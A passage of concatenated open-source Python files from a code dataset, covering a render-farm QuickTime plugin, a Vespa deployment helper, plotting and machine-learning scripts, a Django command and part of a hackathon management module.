id_to_path[image_id]\n        dst_path = os.path.join(sliced_dst_dir, image_id)\n        shutil.copy(src_path, dst_path)\n\nif __name__ == \"__main__\":\n\n    parser = argparse.ArgumentParser()\n    parser.add_argument(\"--df_path\", type=str, required=True)\n    parser.add_argument(\"--path_pattern\", type=str, required=True)\n    parser.add_argument(\"--dst_dir\", type=str, required=True)\n    args = parser.parse_args()\n    \n    main(df_path=args.df_path, path_pattern=args.path_pattern, dst_dir=args.dst_dir)","repo_name":"drivendataorg/open-cities-ai-challenge","sub_path":"1st Place/src/data/stitch_test.py","file_name":"stitch_test.py","file_ext":"py","file_size_in_byte":3883,"program_lang":"python","lang":"en","doc_type":"code","stars":113,"dataset":"github-code","pt":"36"}
{"seq_id":"36841718952","text":"from Deadline.Events import *\nfrom Deadline.Scripting import *\n\nfrom System import *\nfrom System.Diagnostics import *\nfrom System.IO import *\n\n# import random, string\nimport os, sys, re, traceback\nimport threading\nimport time\n\n######################################################################\n## This is the function that Deadline calls to get an instance of the\n## main DeadlineEventListener class.\n######################################################################\ndef GetDeadlineEventListener():\n\treturn MyEvent()\n \n######################################################################\n## This is the main DeadlineEventListener class for MyEvent.\n######################################################################\nclass MyEvent (DeadlineEventListener):\n\tdef OnJobFinished( self, job ):\n\t\n\t\toutputDirectories = job.JobOutputDirectories\n\t\toutputFilenames = job.JobOutputFileNames\n\t\tpaddingRegex = re.compile(\"[^\\\\?#]*([\\\\?#]+).*\")\n \n\t\t# Submit a QT job for each output sequence.\n\t\tfor i in range( 0, len(outputFilenames) ):\n\n\n\t\t\toutputDirectory = outputDirectories[i]\n\t\t\toutputFilename = outputFilenames[i]\n\t\t\t\n\t\t\t# Don't continue on quicktimes\n\t\t\tif not outputFilename.lower().endswith( \".mov\" ):\n\t\t\t\toutputPath = Path.Combine(outputDirectory,outputFilename).replace(\"//\",\"/\")\n\n\t\t\t\tinputFilename = outputPath\n\t\t\t\tmovieName = outputDirectory + \"/\" + Path.GetFileNameWithoutExtension( outputPath ).replace(\"_#\",\"\").replace(\".#\",\"\").replace(\"#\",\"\") + \"_preview\"\n\t\t\t\tframeRange = FrameUtils.Parse ( str (job.JobFrames), 1)\n\n\t\n\t\t\t\t# Setup file paths\n\t\t\t\tnukeSourceFile = \"/Volumes/RESOURCES/05_Motion_Studio_Tools/development/deadline/event_plugins/SlatedQuicktimeGen/nuke/slate_v001.nk\"\n\t\t\t\trandomString = \"\"\n\t\t\t\t#randomString = \"\".join(random.choice(string.ascii_uppercase + string.digits) for x in range(5))\n\t\t\t\tnukeDestFile = GetTempDirectory()+\"/slate_v001_submit_\"+randomString+\".nk\"\n\n\t\t\t\t# open files for read/write\n\t\t\t\tsourceHandle = open ( nukeSourceFile, \"r\" )\n\t\t\t\tdestHandle = open( nukeDestFile, \"w\" )\n\n\t\t\t\t# replace data in nuke script\n\t\t\t\tfor line in sourceHandle:\n\t\t\t\t\tif \"InputSequenceFirstFrame 1000\" in line:\n\t\t\t\t\t\tline = line.replace (\"InputSequenceFirstFrame 1000\", \"InputSequenceFirstFrame \" + str(frameRange[0]) )\n\t\t\t\t\tif \"InputSequenceLastFrame 1000\" in line:\n\t\t\t\t\t\tline = line.replace (\"InputSequenceLastFrame 1000\", \"InputSequenceLastFrame \" + str(frameRange[-1]) )\n\t\t\t\t\tif \"_InputSequence_\" in line:\n\t\t\t\t\t\tline = line.replace (\"_InputSequence_\", (\"\\\"\"+str(inputFilename)+\"\\\"\") )\n\t\t\t\t\tif \"_JobName_\" in line:\n\t\t\t\t\t\tline = line.replace (\"_JobName_\", str(job.JobName) )\n\t\t\t\t\tif \"_Project_\" in line:\n\t\t\t\t\t\tline = line.replace (\"_Project_\", \"\" ) \t\t\t\t#shotgun metadata\n\t\t\t\t\tif \"_Sequence_\" in line:\n\t\t\t\t\t\tline = line.replace (\"_Sequence_\", \"\" )  \t\t\t\t#shotgun metadata\n\t\t\t\t\tif \"_Shot_\" in line:\n\t\t\t\t\t\tline = line.replace (\"_Shot_\", \"\" ) \t\t\t\t\t#shotgun metadata\n\t\t\t\t\tif \"_Frames_\" in line:\n\t\t\t\t\t\tline = line.replace (\"_Frames_\", str(job.JobFrames) )\n\t\t\t\t\tif \"_Version_\" in line:\n\t\t\t\t\t\tline = line.replace (\"_Version_\", \"\")\t\t#shotgun metadata\n\t\t\t\t\tif \"_FramePath_\" in line:\n\t\t\t\t\t\tline = line.replace (\"_FramePath_\", outputPath)\n\t\t\t\t\tif \"_ProjectPath_\" in line:\n\t\t\t\t\t\tline = line.replace (\"_ProjectPath_\", str(job.JobAuxiliarySubmissionFileNames[1]))\n\t\t\t\t\tif \"_Comments_\" in line:\n\t\t\t\t\t\tline = line.replace (\"_Comments_\", str(job.JobComment) )\n\t\t\t\t\tif \"_FileDestination_\" in line:\n\t\t\t\t\t\tline = line.replace (\"_FileDestination_.mov\", (\"\\\"\"+movieName+\".mov\\\"\"))\n\t\t\t\t\tdestHandle.write ( line )\n\n\t\t\t\t# Write and close files\n\t\t\t\tdestHandle.close()\n\t\t\t\tsourceHandle.close()\n\t\t\t\n\t\t\t\t# Create job info file\n\t\t\t\tjobInfoFile = GetTempDirectory() + (\"/nuke_submit_info%s.job\" % randomString)\n\t\t\t\tfileHandle = open( jobInfoFile, \"w\" )\n\t\t\t\tfileHandle.write( \"Plugin=Nuke\\n\" )\n\t\t\t\tfileHandle.write( \"Name=%s [SLATED QUICKTIME]\\n\" % job.JobName )\n\t\t\t\tfileHandle.write( \"Comment=Autosubmitted Job making QT from %s\\n\" % job.JobName )\n\t\t\t\tfileHandle.write( \"Department=%s\\n\" % \"Pure Awesome\" )\n\t\t\t\tfileHandle.write( \"Pool=%s\\n\" % \"2d_nuke\" )\n\t\t\t\tfileHandle.write( \"Group=%s\\n\" % \"2d_mac\" )\n\t\t\t\tfileHandle.write( \"Priority=%s\\n\" % str(job.JobPriority-1) )\n\t\t\t\tfileHandle.write( \"MachineLimit=1\\n\" )\n\t\t\t\tfileHandle.write( \"ConcurrentTasks=1\\n\" )\n\t\t\t\tfileHandle.write( \"Frames=%s\\n\" % str(job.JobFrames) )\n\t\t\t\tfileHandle.write( \"ChunkSize=100000\\n\")\n\t\t\t\tfileHandle.close()\n\t\t\t\t\n\t\t\t\t# Create the plugin info file\n\t\t\t\tpluginInfoFile = GetTempDirectory() + (\"/nuke_plugin_info%s.job\" % randomString)\n\t\t\t\tfileHandle = open( pluginInfoFile, \"w\" )\n\t\t\t\tfileHandle.write( \"SceneFile=%s\\n\" % nukeDestFile )\n\t\t\t\tfileHandle.write( \"Version=%s.%s\\n\" % (6, 3) )\n\t\t\t\tfileHandle.close()\n\t\t\t\t\n\t\t\t\t'''\n\t\t\t\t# Get the deadlinecommand executable (we try to use the full path on OSX).\n\t\t\t\tdeadlineCommand = \"deadlinecommand\"\n\t\t\t\tif os.path.exists( \"/Applications/Deadline/Resources/bin/deadlinecommand\" ):\n\t\t\t\t\tdeadlineCommand = \"/Applications/Deadline/Resources/bin/deadlinecommand\"\n\t\t\n\t\t\t\t# Submit the job to Deadline\n\t\t\t\targs = \"\\\"\" + jobInfoFile + \"\\\" \\\"\" + pluginInfoFile + \"\\\"\"\n\t\t\t\tos.popen( deadlineCommand + \" \" + args)\n\t\t\t\t'''\n\t\t\t\tClientUtils.ExecuteCommand ( ( jobInfoFile , pluginInfoFile ) )\n","repo_name":"spinifexgroup-studio/deadline","sub_path":"deadline5/events/SlatedQuicktimeGen/SlatedQuicktimeGen.py","file_name":"SlatedQuicktimeGen.py","file_ext":"py","file_size_in_byte":5189,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"36"}
{"seq_id":"34077544892","text":"from vespa.deployment import VespaDocker\nfrom vespa.package import ApplicationPackage\n\nfrom utils import logger\n\n\ndef get_vespa_app(app_name, schema):\n    \"\"\"\n    This method builds and deploys the application package and returns the app.\n    Returns:\n    \"\"\"\n    logger.info(\n        f\"building {app_name} application using schema: {schema.name}, ann deploying using Vespa docker\"\n    )\n\n    # build the application package\n    app_package = ApplicationPackage(name=app_name, schema=[schema])\n\n    # deploy the application\n    vespa_docker = VespaDocker()\n    app = vespa_docker.deploy(application_package=app_package)\n\n    return app\n","repo_name":"alimoridnejad/neural-search","sub_path":"vespa_utils/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":636,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"17059394547","text":"import pandas as pd\r\nimport plotly.offline as pyo\r\nimport plotly.graph_objs as go\r\n\r\n# Load CSV file from Datasets folder\r\ndf = pd.read_csv('../../Datasets/Olympic2016Rio.csv')\r\n\r\n# Filtering US Cases\r\nfiltered_df = df\r\n\r\n# Removing empty spaces from Countries column to avoid errors\r\nfiltered_df = filtered_df.apply(lambda x: x.str.strip() if x.dtype == \"object\" else x)\r\n\r\n# Sorting values and select first 20 countries\r\nfiltered_df = filtered_df.sort_values(by=['Total'], ascending=[False]).head(20)\r\n\r\n\r\n# Preparing data\r\n#loads data into a plotly graph object where the x-axis is the country and is loaded into pandas df, and the y axis is the number of total medals loaded into a pandas df\r\ndata = [go.Bar(x=filtered_df['NOC'], y=filtered_df['Total'])]\r\n\r\n\r\n# Preparing layout\r\nlayout = go.Layout(title='2016 Olympics Medal Totals', xaxis_title=\"Name of Country\",\r\n                   yaxis_title=\"Number of total medals\")\r\n\r\n# Plot the figure and saving in a html file\r\nfig = go.Figure(data=data, layout=layout)\r\npyo.plot(fig, filename='barchartolympics.html')\r\n","repo_name":"atwilson0729/vislab","sub_path":"Plots/Weather_and_olympics_plots/barchartolympics.py","file_name":"barchartolympics.py","file_ext":"py","file_size_in_byte":1068,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"11508711198","text":"#!/usr/bin/python3\n\nimport threading\n\nimport gi\ngi.require_version('Gtk', '3.0')\nfrom gi.repository import GLib\n\nclass Thread(threading.Thread):\n\tdef __init__(self, target, callback, name=None):\n\t\tsuper().__init__()\n\t\tself.name = name\n\t\tself.daemon = True\n\t\tself.target = target\n\t\tself.callback = callback\n\n\tdef run(self):\n\t\tself.target()\n\t\tGLib.idle_add(self.callback)\n","repo_name":"Thykof/SafeMyWork","sub_path":"interface/thread.py","file_name":"thread.py","file_ext":"py","file_size_in_byte":370,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"36"}
{"seq_id":"69827869544","text":"from django.core.management.base import BaseCommand\nfrom academics.models import Semester\nfrom datetime import date\n\nclass Command(BaseCommand):\n    help = 'Update the is_active field for Semesters based on current date'\n\n    def handle(self, *args, **kwargs):\n        today = date.today()\n        active_semesters = Semester.objects.filter(start_date__lte=today, end_date__gte=today)\n\n        for semester in active_semesters:\n            semester.is_active = True\n            semester.save()\n            self.stdout.write(self.style.SUCCESS(f'Successfully activated Semester: {semester}'))\n","repo_name":"successgande1/college-portal","sub_path":"academics/management/commands/update_active_semesters.py","file_name":"update_active_semesters.py","file_ext":"py","file_size_in_byte":592,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"23578095667","text":"import numpy as np\r\nimport warnings\r\nfrom collections import Counter\r\nimport pandas as pd\r\nimport random\r\n\r\n#  Final K_Nearest Neighbours example\r\n\r\n\r\ndef k_nearest_neighbors(data, predict, k=3):\r\n    if len(data) >= k:\r\n        warnings.warn('K is set to a value less than total voting groups!')\r\n    distances = []\r\n    for group in data:\r\n        for features in data[group]:\r\n            euclidean_distance = np.linalg.norm(np.array(features) - np.array(predict))\r\n            distances.append([euclidean_distance, group])\r\n    votes = [i[1] for i in sorted(distances)[:k]]\r\n    confidence = Counter(votes).most_common(1)[0][1] / k\r\n    vote_result = Counter(votes).most_common(1)[0][0]\r\n    return vote_result, confidence\r\n\r\n\r\ndf = pd.read_csv('breast-cancer-wisconsin.data')  # Load in the data as a list\r\ndf.replace('?', -99999, inplace=True)\r\ndf.drop(['id'], 1, inplace=True)\r\n#print(df.head())\r\nfull_data = df.values.astype(float).tolist()  # ensure the lists are the floats\r\n# print(full_data[:5])\r\nrandom.shuffle(full_data)\r\ntest_size = 0.4\r\ntrain_set = {2: [], 4: []}\r\ntest_set = {2: [], 4: []}\r\ntrain_data = full_data[:-int(test_size * len(full_data))]  # first 80% of the data as training, up to the last 20%\r\ntest_data = full_data[-int(test_size * len(full_data)):]  # last 20% as testing data, [36:], -Ve, from bottom\r\nfor i in train_data:\r\n    train_set[i[-1]].append(i[:-1]) # go to 2,4 and put in the relevant data for each classification\r\nfor i in test_data:\r\n    test_set[i[-1]].append(i[:-1]) # go to 2,4 and put in the relevant data for each classification\r\ncorrect = 0\r\ntotal = 0\r\n\r\nfor group in test_set:\r\n    for data in test_set[group]:\r\n        vote, confidence = k_nearest_neighbors(train_set, data, k=5)\r\n        if group == vote:\r\n            correct += 1\r\n        else:\r\n            print(vote, confidence)\r\n        total += 1\r\nprint(correct, total)\r\nprint('Accuracy:', correct/total)","repo_name":"Eliminater30013/Machine-Learning","sub_path":"K Nearest Neighbours/ML_tutorial_16-19.py","file_name":"ML_tutorial_16-19.py","file_ext":"py","file_size_in_byte":1916,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"36"}
{"seq_id":"14300420170","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon May 17 18:45:54 2021\n\n@author: RISHBANS\n\"\"\"\n\nimport pandas as pd\nimport numpy as np\nauto_data = pd.read_csv(\"Detail_Cars.csv\")\n\nauto_data = auto_data.replace('?', np.nan)\ncol_object = auto_data.select_dtypes(include=[\"object\"])\nprint(auto_data.select_dtypes(include=[\"object\"]))\nauto_data['price'] = pd.to_numeric(auto_data['price'], errors='coerce')\nauto_data['bore'] = pd.to_numeric(auto_data['bore'], errors='coerce')\nauto_data['stroke'] = pd.to_numeric(auto_data['stroke'], errors='coerce')\nauto_data['horsepower'] = pd.to_numeric(auto_data['horsepower'], errors='coerce')\nauto_data['peak-rpm'] = pd.to_numeric(auto_data['peak-rpm'], errors='coerce')\n\nauto_data = auto_data.drop(\"normalized-losses\", axis = 1)\ncylin_dict = {'two':2, 'three':3, 'four':4, 'five':5, 'six':6, 'eight':8, 'twelve':12}\nauto_data['num-of-cylinders'].replace(cylin_dict, inplace=True)\n\nauto_data = pd.get_dummies(auto_data, drop_first = True)\n\nauto_data = auto_data.dropna()\n\n\nX = auto_data.drop('price', axis =1)\ny = auto_data['price']\n\nfrom sklearn.model_selection import train_test_split\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size = 0.20, random_state = 0)\n\nfrom sklearn.linear_model import LinearRegression\nli_model = LinearRegression()\nli_model.fit(X_train, y_train)\n\nli_model.score(X_train, y_train)\n\ny_pred = li_model.predict(X_test)\n\nimport matplotlib.pyplot as plt\nplt.plot(y_pred, label='predict')\nplt.plot(y_test.values, label='Actual')\nplt.ylabel('price')\nplt.legend()\nplt.show()\n\nprint(li_model.score(X_test, y_test))\n\npredictors = X_train.columns\ncoef = pd.Series(li_model.coef_, predictors).sort_values()\nprint(coef)\n\ncoef.plot(kind='bar')\n\n\nfrom sklearn.linear_model import Lasso\nlasso_model = Lasso(alpha = 2, normalize = True)\nlasso_model.fit(X_train, y_train)\nprint(lasso_model.score(X_train, y_train))\n\npredictors = X_train.columns\ncoef = pd.Series(lasso_model.coef_, predictors).sort_values()\nprint(coef)\n\ncoef.plot(kind='bar')\n\n\ny_pred = lasso_model.predict(X_test)\nprint(lasso_model.score(X_test, y_test))\n\n\nimport matplotlib.pyplot as plt\nplt.plot(y_pred, label='predict')\nplt.plot(y_test.values, label='Actual')\nplt.ylabel('lasso - price')\nplt.legend()\nplt.show()\n\n\n#Ridge Regression\nfrom sklearn.linear_model import Ridge\nridge_model = Ridge(alpha = 2, normalize = True)\nridge_model.fit(X_train, y_train)\nridge_model.score(X_train, y_train)\n\npredictors = X_train.columns\ncoef = pd.Series(ridge_model.coef_, predictors).sort_values()\nprint(coef)\n\n\ncoef.plot(kind='bar', title='Ridge Regression')\n\ny_pred_ridge = ridge_model.predict(X_test)\nprint(ridge_model.score(X_test, y_test))\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"edyoda/ML-with-Rishi","sub_path":"lasso.py","file_name":"lasso.py","file_ext":"py","file_size_in_byte":2673,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"36"}
{"seq_id":"41795752138","text":"import sys\n\nsys.path.append(\"..\")\nimport imghdr\nfrom datetime import timedelta\n\nfrom werkzeug.exceptions import PreconditionFailed, InternalServerError, BadRequest\nfrom flask import g, request\nimport lxml\nfrom lxml.html.clean import Cleaner\n\nfrom hackathon.database import Hackathon, User, AdminHackathonRel, DockerHostServer, HackathonLike, \\\n    HackathonStat, HackathonConfig, HackathonTag, UserHackathonRel, HackathonOrganizer, Award, UserHackathonAsset, \\\n    UserTeamRel\nfrom hackathon.hackathon_response import internal_server_error, ok, not_found, forbidden\nfrom hackathon.constants import HACKATHON_BASIC_INFO, ADMIN_ROLE_TYPE, HACK_STATUS, RGStatus, HTTP_HEADER, \\\n    FILE_TYPE, HACK_TYPE, HACKATHON_STAT, DockerHostServerStatus\nfrom hackathon import RequiredFeature, Component, Context\n\ndocker_host_manager = RequiredFeature(\"docker_host_manager\")\n__all__ = [\"HackathonManager\"]\n\nutil = RequiredFeature(\"util\")\n\n\nclass HackathonManager(Component):\n    \"\"\"Component to manage hackathon\n\n    Note that it only handle operations directly related to Hackathon table. Things like registerd users, templates are\n    in separated components\n    \"\"\"\n\n    admin_manager = RequiredFeature(\"admin_manager\")\n    user_manager = RequiredFeature(\"user_manager\")\n    register_manager = RequiredFeature(\"register_manager\")\n\n    # basic xss prevention\n    cleaner = Cleaner(safe_attrs=lxml.html.defs.safe_attrs | set(['style']))  # preserve style\n\n    def is_hackathon_name_existed(self, name):\n        \"\"\"Check whether hackathon with specific name exists or not\n\n        :type name: str|unicode\n        :param name: name of hackathon\n\n        :rtype: bool\n        :return True if hackathon with specific name exists otherwise False\n        \"\"\"\n        hackathon = self.get_hackathon_by_name(name)\n        return hackathon is not None\n\n    def is_recycle_enabled(self, hackathon):\n        key = HACKATHON_BASIC_INFO.RECYCLE_ENABLED\n        return self.util.str2bool(self.get_basic_property(hackathon, key, False))\n\n    def get_hackathon_by_name(self, name):\n        \"\"\"Get hackathon accoring the unique name\n\n        :type name: str|unicode\n        :param name: name of hackathon\n\n        :rtype: Hackathon\n        :return hackathon instance if found else None\n        \"\"\"\n        if not name:\n            return None\n\n        return self.db.find_first_object_by(Hackathon, name=name)\n\n    def get_hackathon_by_id(self, hackathon_id):\n        \"\"\"Query hackathon by id\n\n        :return hackathon instance or None\n        \"\"\"\n        return self.db.find_first_object_by(Hackathon, id=hackathon_id)\n\n    def get_hackathon_detail(self, hackathon):\n        user = None\n        if self.user_manager.validate_login():\n            user = g.user\n\n        return self.__get_hackathon_detail(hackathon, user)\n\n    def get_hackathon_stat(self, hackathon):\n\n        def internal_get_stat():\n            return self.__get_hackathon_stat(hackathon)\n\n        cache_key = \"hackathon_stat_%s\" % hackathon.id\n        return self.cache.get_cache(key=cache_key, createfunc=internal_get_stat)\n\n    def get_hackathon_list(self, args):\n        # get values from request's QueryString\n        page = int(args.get(\"page\", 1))\n        per_page = int(args.get(\"per_page\", 20))\n        order_by = args.get(\"order_by\", \"create_time\")\n        status = args.get(\"status\")\n        name = args.get(\"name\")\n\n        # build query by search conditions and order_by\n        query = Hackathon.query\n        if status:\n            query = query.filter(Hackathon.status == status)\n        if name:\n            query = query.filter(Hackathon.name.like(\"%\" + name + \"%\"))\n\n        if order_by == \"create_time\":\n            query = query.order_by(Hackathon.create_time.desc())\n        elif order_by == \"event_start_time\":\n            # all started and coming hackathon-activities would be shown based on event_start_time.\n            query = query.order_by(Hackathon.event_start_time.desc())\n\n            # just coming hackathon-activities would be shown based on event_start_time.\n            # query = query.order_by(Hackathon.event_start_time.asc()).filter(Hackathon.event_start_time > self.util.get_now())\n        elif order_by == \"registered_users_num\":\n            # hackathons with zero registered users would not be shown.\n            query = query.join(HackathonStat).order_by(HackathonStat.count.desc())\n        else:\n            query = query.order_by(Hackathon.id.desc())\n\n        # perform db query with pagination\n        pagination = self.db.paginate(query, page, per_page)\n\n        # check whether it's anonymous user or not\n        user = None\n        if self.user_manager.validate_login():\n            user = g.user\n\n        def func(hackathon):\n            return self.__get_hackathon_detail(hackathon, user)\n\n        # return serializable items as well as total count\n        return self.util.paginate(pagination, func)\n\n    def get_online_hackathons(self):\n        return self.db.find_all_objects(Hackathon, Hackathon.status == HACK_STATUS.ONLINE)\n\n    def get_user_hackathon_list_with_detail(self, user_id):\n        user = self.user_manager.get_user_by_id(user_id)\n        user_hack_list = self.db.session().query(Hackathon, UserHackathonRel) \\\n            .outerjoin(UserHackathonRel, UserHackathonRel.user_id == user_id) \\\n            .filter(UserHackathonRel.deleted != 1, UserHackathonRel.user_id == user_id).all()\n\n        return map(lambda h: self.__get_hackathon_detail(h, user), user_hack_list)\n\n    def get_recyclable_hackathon_list(self):\n        all_hackathon = self.db.find_all_objects(Hackathon)\n        return filter(lambda h: self.is_recycle_enabled(h), all_hackathon)\n\n    def get_entitled_hackathon_list_with_detail(self, user):\n        hackathon_ids = self.admin_manager.get_entitled_hackathon_ids(user.id)\n        if -1 in hackathon_ids:\n            hackathon_list = self.db.find_all_objects(Hackathon)\n        else:\n            hackathon_list = self.db.find_all_objects(Hackathon, Hackathon.id.in_(hackathon_ids))\n\n        return map(lambda h: self.__get_hackathon_detail(h, user), hackathon_list)\n\n    def get_basic_property(self, hackathon, key, default=None):\n        \"\"\"Get basic property of hackathon from HackathonConfig\"\"\"\n        config = self.db.find_first_object_by(HackathonConfig, key=key, hackathon_id=hackathon.id)\n        if config:\n            return config.value\n        return default\n\n    def get_all_properties(self, hackathon):\n        configs = self.db.find_all_objects_by(HackathonConfig, hackathon_id=hackathon.id)\n        return [c.dic() for c in configs]\n\n    def set_basic_property(self, hackathon, properties):\n        \"\"\"Set basic property in table HackathonConfig\"\"\"\n        if isinstance(properties, list):\n            map(lambda p: self.__set_basic_property(hackathon, p), properties)\n        else:\n            self.__set_basic_property(hackathon, properties)\n\n        self.cache.invalidate(self.__get_config_cache_key(hackathon))\n        return ok()\n\n    def delete_property(self, hackathon, key):\n        self.db.delete_all_objects_by(HackathonConfig, hackathon_id=hackathon.id, key=key)\n        return ok()\n\n    def get_recycle_minutes(self, hackathon):\n        key = HACKATHON_BASIC_INFO.RECYCLE_MINUTES\n        minutes = self.get_basic_property(hackathon, key, 60)\n        return int(minutes)\n\n    def validate_hackathon_name(self):\n        if HTTP_HEADER.HACKATHON_NAME in request.headers:\n            try:\n                hackathon_name = request.headers[HTTP_HEADER.HACKATHON_NAME]\n                hackathon = self.get_hackathon_by_name(hackathon_name)\n                if hackathon is None:\n                    self.log.debug(\"cannot find hackathon by name %s\" % hackathon_name)\n                    return False\n                else:\n                    g.hackathon = hackathon\n                    return True\n            except Exception as ex:\n                self.log.error(ex)\n                self.log.debug(\"hackathon_name invalid\")\n                return False\n        else:\n            self.log.debug(\"hackathon_name not found in headers\")\n            return False\n\n    def create_new_hackathon(self, context):\n        \"\"\"Create new hackathon based on the http body\n\n        Hackathon name is unique so duplicated names are not allowd.\n\n        :type context: Context\n        :param context: the body of http request that contains fields to create a new hackathon\n\n        :rtype: dict\n        \"\"\"\n        hackathon = self.get_hackathon_by_name(context.name)\n        if hackathon is not None:\n            raise PreconditionFailed(\"hackathon name already exists\")\n\n        self.log.debug(\"add a new hackathon:\" + context.name)\n        new_hack = self.__create_hackathon(context)\n\n        # init data is for local only\n        if self.util.is_local():\n            self.__create_default_data_for_local(new_hack)\n\n        return new_hack.dic()\n\n    def update_hackathon(self, args):\n        \"\"\"Update hackathon properties\n\n        :type args: dict\n        :param args: arguments from http request body that contains properties with new values\n\n        :rtype dict\n        :return hackathon in dict if updated successfully.\n        \"\"\"\n        hackathon = g.hackathon\n\n        try:\n            update_items = self.__parse_update_items(args, hackathon)\n            self.log.debug(\"update hackathon items :\" + str(args.keys()))\n\n            # basic xss prevention\n            if 'description' in update_items and update_items['description']:\n                update_items['description'] = self.cleaner.clean_html(update_items['description'])\n                self.log.debug(\"hackathon description :\" + update_items['description'])\n\n            self.db.update_object(hackathon, **update_items)\n            return hackathon.dic()\n        except Exception as e:\n            self.log.error(e)\n            return internal_server_error(\"fail to update hackathon\")\n\n    def upload_files(self):\n        \"\"\"Handle uploaded files from http request\"\"\"\n        self.__validate_upload_files()\n\n        images = []\n        storage = RequiredFeature(\"storage\")\n        for file_name in request.files:\n            file_storage = request.files[file_name]\n            self.log.debug(\"upload image file : \" + file_name)\n            context = Context(\n                hackathon_name=g.hackathon.name,\n                file_name=file_storage.filename,\n                file_type=FILE_TYPE.HACK_IMAGE,\n                content=file_storage\n            )\n            context = storage.save(context)\n            image = {\n                \"name\": file_storage.filename,\n                \"url\": context.url,\n                \"thumbnailUrl\": context.url,\n                \"deleteUrl\": '/api/admin/file?key=' + context.file_name\n            }\n            # context.file_name is a random name created by server, file.filename is the original name\n            images.append(image)\n\n        return {\"files\": images}\n\n    def like_hackathon(self, user, hackathon):\n        like = self.db.find_first_object_by(HackathonLike, user_id=user.id, hackathon_id=hackathon.id)\n        if not like:\n            like = HackathonLike(user_id=user.id, hackathon_id=hackathon.id)\n            self.db.add_object(like)\n            self.db.commit()\n\n            # increase the count of users that like this hackathon\n            self.increase_hackathon_stat(hackathon, HACKATHON_STAT.LIKE, 1)\n\n        return ok()\n\n    def unlike_hackathon(self, user, hackathon):\n        self.db.delete_all_objects_by(HackathonLike, user_id=user.id, hackathon_id=hackathon.id)\n        self.db.commit()\n\n        # sync the like count\n        like_count = self.db.count_by(HackathonLike, hackathon_id=hackathon.id)\n        self.update_hackathon_stat(hackathon, HACKATHON_STAT.LIKE, like_count)\n        return ok()\n\n    def update_hackathon_stat(self, hackathon, stat_type, count):\n        \"\"\"Increase or descrease the count for certain hackathon stat\n\n        :type hackathon: Hackathon\n        :param hackathon: instance of Hackathon to be counted\n\n        :type stat_type: str|unicode\n        :param stat_type: type of stat that defined in constants.py#HACKATHON_STAT\n\n        :type count: int\n        :param count: the new count for this stat item\n        \"\"\"\n        stat = self.db.find_first_object_by(HackathonStat, hackathon_id=hackathon.id, type=stat_type)\n        if stat:\n            stat.count = count\n            stat.update_time = self.util.get_now()\n        else:\n            stat = HackathonStat(hackathon_id=hackathon.id, type=stat_type, count=count)\n            self.db.add_object(stat)\n\n        if stat.count < 0:\n            stat.count = 0\n        self.db.commit()\n\n    def increase_hackathon_stat(self, hackathon, stat_type, increase):\n        \"\"\"Increase or descrease the count for certain hackathon stat\n\n        :type hackathon: Hackathon\n        :param hackathon: instance of Hackathon to be counted\n\n        :type stat_type: str|unicode\n        :param stat_type: type of stat that defined in constants.py#HACKATHON_STAT\n\n        :type increase: int\n        :param increase: increase of the count. Can be positive or negative\n        \"\"\"\n        stat = self.db.find_first_object_by(HackathonStat, hackathon_id=hackathon.id, type=stat_type)\n        if stat:\n            stat.count += increase\n        else:\n            stat = HackathonStat(hackathon_id=hackathon.id, type=stat_type, count=increase)\n            self.db.add_object(stat)\n\n        if stat.count < 0:\n            stat.count = 0\n        self.db.commit()\n\n    def get_hackathon_tags(self, hackathon):\n        tags = self.db.find_all_objects_by(HackathonTag, hackathon_id=hackathon.id)\n        return \",\".join([t.tag for t in tags])\n\n    def set_hackathon_tags(self, hackathon, tags):\n        \"\"\"Set hackathon tags\n\n        :type tags: list\n        :param tags: a list of str, every str is a tag\n        \"\"\"\n        self.db.delete_all_objects_by(HackathonTag, hackathon_id=hackathon.id)\n        for tag in tags:\n            t = tag.strip('\"').strip(\"'\")\n            self.db.add_object(HackathonTag(tag=t, hackathon_id=hackathon.id))\n        self.db.commit()\n        return ok()\n\n    def get_distinct_tags(self):\n        \"\"\"Return all distinct hackathon tags for auto-complete usage\"\"\"\n        return self.db.session().query(HackathonTag.tag).distinct().all()\n\n    def qet_organizer_by_id(self, organizer_id):\n        organizer = self.db.get_object(HackathonOrganizer, organizer_id)\n        if organizer:\n            return organizer.dic()\n        return not_found()\n\n    def create_hackathon_organizer(self, hackathon, body):\n        organizer = HackathonOrganizer(hackathon_id=hackathon.id,\n                                       name=body[\"name\"],\n                                       organization_type=body.get(\"organization_type\"),\n                                       description=body.get(\"description\"),\n                                       homepage=body.get(\"homepage\"),\n                                       logo=body.get(\"logo\"),\n                                       create_time=self.util.get_now())\n        self.db.add_object(organizer)\n        return organizer.dic()\n\n    def update_hackathon_organizer(self, hackathon, body):\n        organizer = self.db.get_object(HackathonOrganizer, body[\"id\"])\n        if not organizer:\n            return not_found()\n        if organizer.hackathon_id != hackathon.id:\n            return forbidden()\n\n        organizer.name = body.get(\"name\", organizer.name)\n        organizer.organization_type = body.get(\"organization_type\", organizer.organization_type)\n        organizer.description = body.get(\"description\", organizer.description)\n        organizer.homepage = body.get(\"homepage\", organizer.homepage)\n        organizer.logo = body.get(\"logo\", organizer.logo)\n        organizer.update_time = self.util.get_now()\n        self.db.commit()\n\n        return organizer.dic()\n\n    def delete_hackathon_organizer(self, hackathon, organizer_id):\n        self.db.delete_all_objects_by(HackathonOrganizer, id=organizer_id, hackathon_id=hackathon.id)\n        return ok()\n\n    def create_hackathon_award(self, hackathon, body):\n        level = int(body.level)\n        if level > 10:\n            level = 10\n\n        award = Award(hackathon_id=hackathon.id,\n                      name=body.name,\n                      level=level,\n                      quota=body.quota,\n                      award_url=body.get(\"award_url\"),\n                      description=body.get(\"description\"))\n        self.db.add_object(award)\n        